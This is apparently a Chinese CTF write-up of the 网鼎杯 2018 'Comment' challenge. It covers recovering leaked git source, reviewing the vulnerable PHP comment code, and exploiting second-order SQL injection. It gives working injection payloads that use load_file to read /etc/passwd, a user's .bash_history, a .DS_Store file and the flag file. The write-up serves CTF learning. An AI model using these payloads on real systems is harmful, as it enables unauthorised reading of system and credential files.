[网鼎杯 2018]Comment

[网鼎杯 2018]Comment

知识点:二次注入

git源码泄露

image-20220113205749897

源码是不完整的,进入下载后的源码的目录下,查看git的操作记录

git log --reflog

image-20220113213825117

然后修复一下

image-20220113232454942

然后查看源码

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    
    
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
    
    
switch ($_GET['do'])
{
    
    
//发帖功能
case 'write':
    $category = addslashes($_POST['category']);
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
	//插入信息操作
    $sql = "insert into board
            set category = '$category',
                title = '$title',
                content = '$content'";
    $result = mysql_query($sql);
    header("Location: ./index.php");
    break;
//评论功能
case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);//mysql_query() 函数执行一条 MySQL 查询。返回一个资源标识符,如果查询执行不正确则返回 FALSE。
    $num = mysql_num_rows($result);//mysql_num_rows() 返回结果集中行的数目
    if($num>0){
    
    
	//从数据库中获取该category,二次注入
    $category = mysql_fetch_array($result)['category'];//mysql_fetch_array() 函数从结果集中取得一行作为关联数组,或数字数组
    $content = addslashes($_POST['content']);
	//二次注入
	//注意相比于上一个write功能中搞得category,这里没有进行addslashes检查
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);
    }
    header("Location: ./comment.php?id=$bo_id");
    break;
default:
    header("Location: ./index.php");
}
}
else{
    
    
    header("Location: ./index.php");
}
?>

二次注入

首先第一次发帖的时候,category相当于被过滤,addslashes()会对预定字符进行转义(包括’ " \ NULL),但是写入数据库之后会把转义符去掉,所以这就为我们评论的时候第二次从数据库中将categoty取出来提供了基础

第一次:将category的值设定为:a',content=database(),/*

    $sql = "insert into board
            set category = 'a',content=database(),/*',
                title = '$title',
                content = '$content'";

在评论的时候,在content里输入*/#,其中*/是闭合前面的多行注释,#是对本行的剩余部分进项注释

那么执行的sql语句就是

    $sql = "insert into board
            set category = 'a',content=database(),/*',
                title = '*/#',
                content = '$content'";

返回数据库的名称

image-20220114092900590

但是看了师傅们的wp,本题的主要目的是来查看文件的

读取文件

使用load_file函数读取文件/etc/passwd

a',content=(select(load_file('/etc/passwd'))),/*

image-20220114094631765

www用户的目录是/home/www,可以查询该用户的.bash_history文件

Bash shell在“/.bash_history”(“/”表示用户目录)文件中保存了500条使用过的命令,这样可以使你输入使用过的长命令变得容易。每个在系统中拥有账号的用户在他的目录下都有一个“.bash_history”文件。

a',content=(select(load_file('/home/www/.bash_history'))),/*

image-20220114095159168

查看.DS_Store

.DS_Store是Mac OS保存文件夹的自定义属性的隐藏文件,如文件的图标位置或背景色,相当于Windows的desktop.ini。

注意这个操作:

  1. 在/tmp目录下解压html.zip,

  2. 然后删除html.zip,

  3. 然后将html文件夹copy到/var/www目录下,

  4. 然后跳转至/var/www/html目录,将.DS_Store文件删除

所以我们需要读取/tmp/html目录下的.DS_Store文件

a',content=(select(load_file('/tmp/html/.DS_Store'))),/*

但是该文件太大了,只能读取一部分

image-20220114095926593

所以改为16进制,进行hex编码

a',content=(select hex(load_file('/tmp/html/.DS_Store'))),/*

使用burpsuite的ASCII hex解码功能,找到一个文件flag_8946e1ff1ee3e40f.php

image-20220114100616376

继续读取

a',content=(select hex(load_file('/tmp/html/flag_8946e1ff1ee3e40f.php'))),/*

得到hex编码,然后解码

image-20220114121651579

参考链接

  1. [网鼎杯 2018]Comment(二次注入,git泄露,git恢复)_WHOAMIAnony的博客-CSDN博客

おすすめ

転載: blog.csdn.net/RABCDXB/article/details/120519892